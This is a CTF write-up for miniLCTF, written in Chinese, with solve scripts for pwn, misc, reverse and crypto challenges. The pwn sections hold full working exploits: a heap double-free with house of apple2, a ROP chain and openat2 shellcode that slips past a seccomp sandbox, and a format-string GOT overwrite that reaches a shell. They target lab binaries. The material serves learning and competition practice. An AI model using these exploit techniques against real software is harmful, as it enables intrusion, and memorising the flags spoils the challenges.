RK.5
RP.7197
PWN
EasyHeap | FINISHED
如果我没有玩到下午一点才看题,一血就是我的了 🙁
菜单堆题,开启了沙箱,过滤了open和openat
即使getshell了,cat flag这个shell命令也是基于open的,所以直接getshell是没用的
open(at)可以用openat2代替,本题可以从main返回,也就是会调用exit,那就打house of apple2
本题的漏洞在free,看着好像指针被清空了,但是被置零的是ptr,list上仍然保留着指针,可以再次free,也就是uaf,只是SIZE_list被置零了,于是我们虽然无法直接编辑,显示已释放堆块,但可以二次释放
那就用house of bocate制造出一个堆块重叠,但重叠状态出现后,”可以反复使用,不会消失”
我们可以轻松拿到heap地址和libc地址
from pwn import *
#io=process('./pwn')
io=remote("172.26.144.1",61703)
libc=ELF('./libc.so.6')
context.arch='amd64'
context.log_level='debug'
def bug():
gdb.attach(io)
def ch(Id):
io.sendlineafter(b"Choice: ",str(Id).encode())
def add(Id,size,payload=b'\x00'):
ch(1)
io.sendlineafter(b"Index: ",str(Id).encode())
io.sendlineafter(b"Size: ",str(size).encode())
io.sendlineafter(b"Input data: ",payload)
def edit(Id,payload):
ch(2)
io.sendlineafter(b"Index: ",str(Id).encode())
io.sendlineafter(b"Input new data: ",payload)
def free(Id):
ch(4)
io.sendlineafter(b"Index: ",str(Id).encode())
def show(Id):
ch(3)
io.sendlineafter(b"Index: ",str(Id).encode())
for i in range(12):
add(i,0x300)
for i in range(7):
free(i)
free(8)
free(9)
add(0,0x300)
free(9)
add(1,0x300)
for i in range(2,7):
add(i,0x300)
add(13,0x300)
add(14,0x300)
show(1)
io.recvuntil(b"Data: ")
base=u64(io.recv(6).ljust(8,b'\x00'))-0x203b20
print(f"base=>{hex(base)}")
add(15,0x300)
free(15)
show(1)
io.recvuntil(b"Data: ")
heap=((u64(io.recv(6).ljust(8,b'\x00'))&0xffffffffff)<<12)-0x3000
print(f"heap=>{hex(heap)}")
然后就是堆块重叠下攻击_IO_list_all,同时伪造IO结构体,将伪造IO接到_IO_list_all上
由于本题要使用openat2,openat2的参数包含结构体,写rop我感觉有点麻烦,所以写的shellcode
大体上还是orw 🙂
add(15,0x300)
#=============================================================================================
chunk=0x3010+heap
key=chunk>>12
#-------------------------------
_IO_list_all=base+libc.sym._IO_list_all
_IO_wfile_jumps=base+libc.sym._IO_wfile_jumps
magic=base+0x17923D
print(hex(_IO_list_all))
print(hex(magic))
swapcontext=base+0x5815D
rdi=base+0x000000000010f75b
rsi=base+0x000000000002b46b
#0x00000000000b0131 : mov eax, esp ; mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#0x00000000000b00d7 : mov rdx, r13 ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
r13=base+0x00000000000584d9
rdx=base+0x00000000000b00d7
mprotect=base+libc.sym.mprotect
#-------------------------------
free(2)
free(15)
edit(1,p64((_IO_list_all)^key))
chunk2=heap+0x3940
fake=flat({
0x00:{
0x28:p64(1),
0x48:p64(chunk2),
0x88:p64(heap+0x4000),
0xa0:p64(chunk+0x100),
0xd8:p64(_IO_wfile_jumps)
},
0x100:{
0xe0:p64(chunk+0x200)
},
0x200:{
0x68:p64(magic)
}
},filler=b'\x00')
add(2,0x300,fake)
add(15,0x300,p64(chunk))
#=========================================================
shellcode=asm(f'''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi,rax
mov rsi,{heap+0x300}
mov rdx,0x50
mov rax,0
syscall
mov rdi,1
mov rax,1
syscall
''')
#=========================================================
payload=flat({
0x00:{
0x18:p64(chunk2),
0x28:p64(swapcontext)
},
0xa0:{
0x00:p64(chunk2+0xa8),
0x08:p64(rdi+1),
0x10:p64(rdi+1),
0x18:p64(rdi+1),
0x20:p64(rdi+1),
0x28:p64(rdi+1),
0x30:p64(rdi+1),
0x38:p64(rdi+1),
0x40:p64(rdi+1),
0x48:p64(rdi),
0x50:p64(heap),
0x58:p64(rsi),
0x60:p64(0x20000)*2,
0x70:p64(r13),
0x78:p64(7),
0x80:p64(rdx),
0x88:p64(0)*4,
0xa8:p64(mprotect),
0xb0:p64(rdi+1),
0xb8:p64(chunk2+0x200)
},
0x200:shellcode
},filler=b'\x00')
add(16,0x400,payload)
ch(6)
io.interactive()
#miniLCTF{Thi5-1S-@aa4@AAA4A44aa@aa@@4a4-E4sy_Heap0}
途中还有几个gadget被\xa0截断了,我找了半天代替用的gadget
PostBox | FINISHED
哇有后门函数,而且保护为got表可写
main函数的逻辑为:
- 可以单独向文件中写入0x400个字节
- 也可以写入字节后继续写入描述(0x80字节)
当写入描述时,如果v4=114514,存在格式化字符串漏洞
v4未被初始化,我们的目标就是把ctf自然常数写入v4
v4是个int型临时变量,存在于栈中,在调用PostScript函数前,调用了PostMessage
也就是说这两个函数在不同时间使用了同一块栈区作为栈
那PostMessage中未被初始化的变量就会继承PostScript中的数据
PostScript::v4到rbp的距离:0x114
PostMessage::buf到rbp的距离:0x410
buf可写的部分有0x400,也就是如果向buf中写入(0x410-0x114)后,再次写入的数据就会被v4复用
那我们直接在PostMessage中把p32(0x114514)写入
这样就获得了格式化字符串的能力
但是单单一次格式化字符串是不够的,我们可以使用这次格式化字符串改变v1的值,使之变大,这样就可以多次格式化字符串,以此改写close.got为backdoor
io.recvuntil(b"Give me your choice:\n\n")
io.sendline(b"2")
io.recvuntil(b"contents:\n\n")
payload=b'a'*0x2fc+p32(114514)*2
io.send(payload)
io.recvuntil(b"contents:\n\n")
io.send(b"%3c%49$n")#这里写为%3c是因为最后我完成攻击后发现一共使用了三次格式化字符串
然后可以泄露pie,再使用pwntools自带的fmtstr模块攻击got表,然后退出
顺利getshell
from pwn import *
context.arch='amd64'
#io=process('./pwn')
io=remote("192.168.137.1",55434)
def bug():
gdb.attach(io)
def s(payload):
io.recvuntil(b"contents:\n\n")
io.send(payload)
io.recvuntil(b'Your words:\n\n')
io.recvuntil(b"Give me your choice:\n\n")
io.sendline(b"2")
io.recvuntil(b"contents:\n\n")
payload=b'a'*0x2fc+p32(114514)*2
io.send(payload)
io.recvuntil(b"contents:\n\n")
io.send(b"%3c%49$n")
io.recvuntil(b"contents:\n\n")
payload=b'%13$p\x00'
io.send(payload)
io.recvuntil(b'Your words:\n\n')
pie=int(io.recv(14),16)-0x17a7
print(f"pie=>{hex(pie)}")
payload=fmtstr_payload(10,{pie+0x4040:pie+0x177E},0,"byte")
print(hex(len(payload)))
s(payload)
io.interactive()
#miniLCTF{thlS_15-ABSOIUTeIY_Not_A-5AFE-pRoGram21aa}
Ex-Aid lv.2 | FINISHED
又一个一血
允许我们在三个连续的堆块中写出0x18的shellcode,并在执行shellcode前开启了沙箱,并将堆的权限改为了rx
意思是不让我们调用read写入更多shellcode,那我们就是使用这三段不连续的shellcode实现orw
Open:
sc=asm('''
push 2;pop rax
lea rdi,[rdx+0x53]
xor rsi,rsi
xor rdx,rdx;
syscall
lea r10,[r9-0x20]
jmp r10
''')
将flag字符串写在第三个堆块,并正常调用open,这部分很简单,然后跳转到下个堆块继续执行(shellcode间的跳转)
read,write:
我就直接用sendfile偷跑了,这个系统调用是真的好用啊
sc=asm(f'''
mov esi,eax
mov edi,1
xor edx,edx
push 100;pop r10
push 40;pop rax
syscall
''')
io.send(sc)
#miniLCTF{e@sy-CHecklN-3@sy-5H311code_1f3f346}
随便压缩一下就到0x18字节了 🙂
Misc
吃豆人 | FINISHED
PyJail | open
题目源码先放到这里,一起帮忙看看
Welcome to Interactive Pyjail!
Rules: No import / No sleep / No input
========= Server Source Code =========
import socketserver
import sys
import ast
import io
with open(__file__, "r", encoding="utf-8") as f:
source_code = f.read()
class SandboxVisitor(ast.NodeVisitor):
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr.startswith("__"):
raise ValueError("Access to private attributes is not allowed")
self.generic_visit(node)
def safe_exec(code: str, sandbox_globals=None):
original_stdout = sys.stdout
original_stderr = sys.stderr
sys.stdout = io.StringIO()
sys.stderr = io.StringIO()
if sandbox_globals is None:
sandbox_globals = {
"__builtins__": {
"print": print,
"any": any,
"len": len,
"RuntimeError": RuntimeError,
"addaudithook": sys.addaudithook,
"original_stdout": original_stdout,
"original_stderr": original_stderr
}
}
try:
tree = ast.parse(code)
SandboxVisitor().visit(tree)
exec(code, sandbox_globals)
output = sys.stdout.getvalue()
sys.stdout = original_stdout
sys.stderr = original_stderr
return output, sandbox_globals
except Exception as e:
sys.stdout = original_stdout
sys.stderr = original_stderr
return f"Error: {str(e)}", sandbox_globals
CODE = """
def my_audit_checker(event, args):
blocked_events = [
"import", "time.sleep", "builtins.input", "builtins.input/result", "open", "os.system",
"eval","subprocess.Popen", "subprocess.call", "subprocess.run", "subprocess.check_output"
]
if event in blocked_events or event.startswith("subprocess."):
raise RuntimeError(f"Operation not allowed: {event}")
addaudithook(my_audit_checker)
"""
class Handler(socketserver.BaseRequestHandler):
def handle(self):
self.request.sendall(b"Welcome to Interactive Pyjail!\n")
self.request.sendall(b"Rules: No import / No sleep / No input\n\n")
try:
self.request.sendall(b"========= Server Source Code =========\n")
self.request.sendall(source_code.encode() + b"\n")
self.request.sendall(b"========= End of Source Code =========\n\n")
except Exception as e:
self.request.sendall(b"Failed to load source code.\n")
self.request.sendall(str(e).encode() + b"\n")
self.request.sendall(b"Type your code line by line. Type 'exit' to quit.\n\n")
prefix_code = CODE
sandbox_globals = None
while True:
self.request.sendall(b">>> ")
try:
user_input = self.request.recv(4096).decode().strip()
if not user_input:
continue
if user_input.lower() == "exit":
self.request.sendall(b"Bye!\n")
break
if len(user_input) > 100:
self.request.sendall(b"Input too long (max 100 chars)!\n")
continue
full_code = prefix_code + user_input + "\n"
prefix_code = ""
result, sandbox_globals = safe_exec(full_code, sandbox_globals)
self.request.sendall(result.encode() + b"\n")
except Exception as e:
self.request.sendall(f"Error occurred: {str(e)}\n".encode())
break
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 5000
with socketserver.ThreadingTCPServer((HOST, PORT), Handler) as server:
print(f"Server listening on {HOST}:{PORT}")
server.serve_forever()
========= End of Source Code =========
Type your code line by line. Type 'exit' to quit.
MiniForensicsⅠ | FINISHED
这里需要结合取证二中的流量包处理,流量包里面有D盘的密钥
导出来后长这样
521433-074470-317097-543499-149259-301488-189849-252032
然后进行解密,得到c.txt
我用的是这个脚本
import matplotlib.pyplot as plt
# 将提供的文本转为坐标点
data = """
zuobiao.txt(在这里把坐标复制粘贴就好
""".strip()
# 解析为列表
points = [tuple(map(float, line.split(','))) for line in data.splitlines()]
x, y = zip(*points)
# 绘图
plt.figure(figsize=(10, 2))
plt.scatter(x, y, s=2)
plt.axis('equal')
plt.axis('off')
plt.tight_layout()
plt.show()
这是c.txt转换出来的图片,得到了数学公式b=(a+c)/2,可见我接下来要找a.txt=2b-c
检查过b和c,发现x,y坐标都有出入,可见这里两个坐标都要进行处理,然后b文件相对c文件来说,要多一些,那就在c文件行数的基础上进行运算操作,最后把b文件中没有参与操作的行给复制到a中去
def parse_line(line):
x_str, y_str = line.strip().split(',')
return float(x_str), float(y_str)
# 读取文件
with open('b.txt', 'r') as bf:
b_lines = bf.readlines()
with open('c.txt', 'r') as cf:
c_lines = cf.readlines()
# 获取可操作的最小行数(按 c.txt 行数)
n = len(c_lines)
a_coords = []
# 计算前 n 行:a = 2b - c
for i in range(n):
bx, by = parse_line(b_lines[i])
cx, cy = parse_line(c_lines[i])
ax = 2 * bx - cx
ay = 2 * by - cy
a_coords.append(f"{ax},{ay}\n")
# 将 b 中剩余的部分原封不动加入 a
a_coords.extend(b_lines[n:])
# 写入 a.txt
with open('a.txt', 'w') as af:
af.writelines(a_coords)
print(f"已完成计算,生成的 a.txt 共 {len(a_coords)} 行")
将得到的a.txt里的坐标用上上面的转换脚本绘制出图片,得到flag
miniLCTF{forens1c5_s0ooooo_1nt4resting}
MiniForensicsⅡ | FINISHED
题目介绍中,小日月和服务器进行了交互,那就说明他得打远程,结合虚拟机中的流量包有许多tls流量,可见我需要找到ssl.log进行流量解密,同时这里有远程,我就想,浏览器记录里能给点帮助
在这里能找到一个压缩包
爆破解决的1846287
里面有个ssl.log作为解密tls流量的,得到压缩包
有个png,那就简单了,用bkcrack进行明文攻击
然后解压,得到base64后,指向了个仓库
在仓库中有个python脚本,这里发现个特殊的commit的hash
但是回到仓库看的时候,发现没有那个commit
不过我观察到一点,点击不同的commit的时候,url会变成这样
这里就能想到,那个hash就是这个仓库中的,但是可能因为某种原因,导致没有出现在仓库的commits中,然后我把url中的commit改成python脚本里的那个,得到了secret.py
审计完代码后就能得到flag
miniLCTF{c0ngr4tul4ti0n5_70u’v3_g0t_th3_s3cr3ts}
赛后问了下出题师傅,原来是这样啊
麦霸评分 | FINISHED
看到页面,是识别匹配度,简单看了一下控制台,发现data.similarty不能通过前端改变匹配度,又发现源代码中有文件上传的接口,结合题目给的歌曲wav文件,不难写出:
import
requests
url
=
'
http://127.0.0.1:32573/compare-recording'
file_path
=
'original.wav'
try
:
# 打开音频文件并获取文件对象
with
open(file_path, 'rb')
as
file
:
# 创建一个字典来存储文件信息
files
=
{'audio': (file_path,
file
, 'audio/wav')}
response
=
requests.post(url, files
=
files)
print("服务器响应状态码:", response.status_code)
print("服务器响应内容:", response.text)
except
requests.exceptions.RequestException
as
e:
print("请求错误:", e)
except
FileNotFoundError:
print("文件未找到,请检查文件路径是否正确")
except
Exception
as
e:
print("发生错误:", e)
运行即可
Reverse
0.s1gn1n | FINISHED
处理掉花指令,反编译
先加密变成v9,再异或求和等于28+60=88
后半部分的检验比较特殊,可以用Sum(x[i]^x[i-1]^k[i])+x[0]==88表示。
我开始想到的是用Z3求解器求解,但不出预料的,解数量过大,行不通,看来是我想复杂了。也许出题人想让我们找到一个易求的特解。观察到k0虽然程序没有用到但恰好是88,检验的等式可以写为Sum(x[i]^x[i-1]^k[i])+x[0]^k[0]==0,在这个等式下,每一项均等于0,通过递推即可还原v9
S = [88, 105, 123, 6, 30, 56, 44, 32, 4, 15,
1, 7, 49, 107, 8, 14, 122, 10, 114, 114,
38, 55, 111, 73, 33, 22, 17, 47, 26, 13,
60, 31, 43, 50, 26, 52, 55, 127, 3, 68,
22, 14, 1, 40, 30, 104, 100, 35, 23, 9,
61, 100, 106, 105, 99, 24, 24, 10, 21, 112]
x = 0
for i in range(60):
x ^= S[i]
print(chr(x), end="")
print(chr(x))
对前半部分的加密进行黑盒测试得知,先进行递归换位,再常规base64加密。
对于递归换位,直接编写逆向换位比较麻烦,可以输入与flag相同长度的,字符互不相同的字符串,进行加密。
利用加密前后字符位置的映射,还原目标正确位置(也算一种选择明文攻击?)
flag1 = []
flag2 = "_RKF1_nidg_{0nFi_i@errtL}3s3mnriCgennEv_TIEs"
s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr"
s2 = "fPgHhQiDjRkIlSmBnToJpUqErVKWAXLYFZMaCbNcGdOe"
for i in range(44):
c = s1[i]
index = s2.index(c)
flag1.append(flag2[index])
print("".join(flag1))
# miniLCTF{esrevER_gnir33nignE_Is_K1nd_0F_@rt}
x96re | FINISHED
whathappened里就是把原文的除后两个字符之外的所有字符异或76,encode_fun就是标准的SM4
最后两位原样输出,再套上前后缀即可
miniLCTF{3ac159d665b4ccfb25c0927c1a23edb3}
d1ffer3nce | FINISHED
go逆向,ida9版本可以自己加上符号,也可以用go_parser脚本恢复
恢复符号后,找到main函数
输入的flag经过main_sub_1145141919函数加密,再校验
main_sub_1145141919函数是一个魔改的XXTEA,密文要动态调试,然后在runtime_memequal函数里面通过_RDI指针跟进得到
XXTEA魔改了delta、循环轮数的的计算
密钥动调从v46的内存那里获取(main_sub_1145141919函数前面有一块生成密钥的代码,要经过那里才能提取出密钥)
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x4D696E69
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
rounds = 6 + 2025/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
int main()
{
uint32_t v[8]= {0xbeae9d72, 0x5b84e3a2, 0xf1010f31, 0xc203e7b3, 0x9c0a814c, 0x4d2ceda0, 0x14a25292, 0x21772d88};
uint32_t const k[4]= {0x33323130, 0x37363534, 0x62613938, 0x66656463};
int n= 8;
btea(v, n, k);
for (int i = 0; i < 8; i++)
{
printf("0x%x ,",v[i]);
}
return 0;
}
flag:miniLCTF{W3lc0m3~MiN1Lc7F_2O25}
Crypto
babaisiginsigin | FINISHED
一些小推导,作为签到题很好玩
Level 1
m每一位上只有0或1两种可能,如果是1的话可以忽略或运算,如果是0的话,计算的就是对应位上x,y的和,鉴于这个和只可能是0,1,2不会超过两位,于是可以通过两个错位的m来得到x和y的对应位和,不用解出x,y即可计算guess
Level 2
因为1是可以忽略或运算的,所以传入0b111111111111111111111111111111的时候就只需要计算异或和加法,于是就得到了y,然后传入0就能得到x,最后就能计算guess了
from pwn import *
addr = "127.0.0.1:11582".split(":")
io = remote(addr[0], int(addr[1]))
# Level 1
io.recvuntil(b"Enter your number: ")
io.sendline(b"715827882") # 0b101010101010101010101010101010
io.recvuntil(b"Calculation result: ")
res1 = int(io.recvline().strip().decode())
io.recvuntil(b"Enter your number: ")
io.sendline(b"357913941") # 0b010101010101010101010101010101
io.recvuntil(b"Calculation result: ")
res2 = int(io.recvline().strip().decode())
io.recvuntil(b"m = ")
guess = int(io.recvline().strip().decode()[:-1])
tmp = []
m = 0b101010101010101010101010101010
tmp1 = [int(bin(res1 - m*2)[2:].zfill(30)[i:i+2],2) for i in range(0,30,2)]
m = m >> 1
tmp2 = [int(bin(res2 - m*2)[2:].zfill(31)[i:i+2],2) for i in range(0,30,2)]
for i in zip(tmp2,tmp1):
tmp += list(i)
ans = 0
guess = bin(guess)[2:].zfill(30)
for i in range(30):
ans = ans << 1
if guess[i] == '1':
ans += int(guess[i])*2
else:
ans += tmp[i]
io.sendline(str(ans).encode())
# Level 2
io.recvuntil(b"Enter your number: ")
io.sendline(b"1073741823") # 0b111111111111111111111111111111
io.recvuntil(b"Calculation result: ")
res1 = int(io.recvline().strip().decode())
io.recvuntil(b"Enter your number: ")
io.sendline(b"0") # 0b0
io.recvuntil(b"Calculation result: ")
res2 = int(io.recvline().strip().decode())
io.recvuntil(b"m = ")
guess = int(io.recvline().strip().decode()[:-1])
level2 = lambda m, x, y: (m | x) + (m ^ y)
m = 0b111111111111111111111111111111
y = m^(res1-m)
m = 0
x = res2-(m^y)
ans = level2(guess,x,y)
io.sendline(str(ans).encode())
io.interactive()
# miniLCTF{64B41_sIGlN_CrypTO-Z-i5-yoU_flAG-Is_wIN5b3}
Rsasign | FINISHED
测了一下能发现gift给的高位值和pow(p+q,2,n),pow(p-q,2,n)的高位值是一样的,于是进一步能得到p+q和p-q的约高235位,然后爆破10位,copper就能解出因数了。
from Crypto.Util.number import *
import gmpy2
n = 103894244981844985537754880154957043605938484102562158690722531081787219519424572416881754672377601851964416424759136080204870893054485062449999897173374210892603308440838199225926262799093152616430249061743215665167990978654674200171059005559869946978592535720766431524243942662028069102576083861914106412399
c = 50810871938251627005285090837280618434273429940089654925377752488011128518767341675465435906094867261596016363149398900195250354993172711611856393548098646094748785774924511077105061611095328649875874203921275281780733446616807977350320544877201182003521199057295967111877565671671198186635360508565083698058
gift = 2391232579794490071131297275577300947901582900418236846514147804369797358429972790212
a = int(gmpy2.iroot(gift << 740, 2)[0]) # p-q
b = int(gmpy2.iroot((gift << 740) + 4*n, 2)[0]) # p+q
high = (a + b)//2
for i in range(2**10):
tmp = ((high >> 235 << 10) + i) << 225
R.<x> = PolynomialRing(Zmod(n))
f = tmp + x
res = f.small_roots(X=2**225, beta=0.4)
if res != []:
print(res)
break
p = int(tmp + res[0])
q = n // p
assert p*q == n
d = pow(65537, -1, (p-1)*(q-1))
m = pow(c,d,n)
c = long_to_bytes(m)
print(c)
# miniL{D0_Y@U_Li)e_T&@_RRRSA??}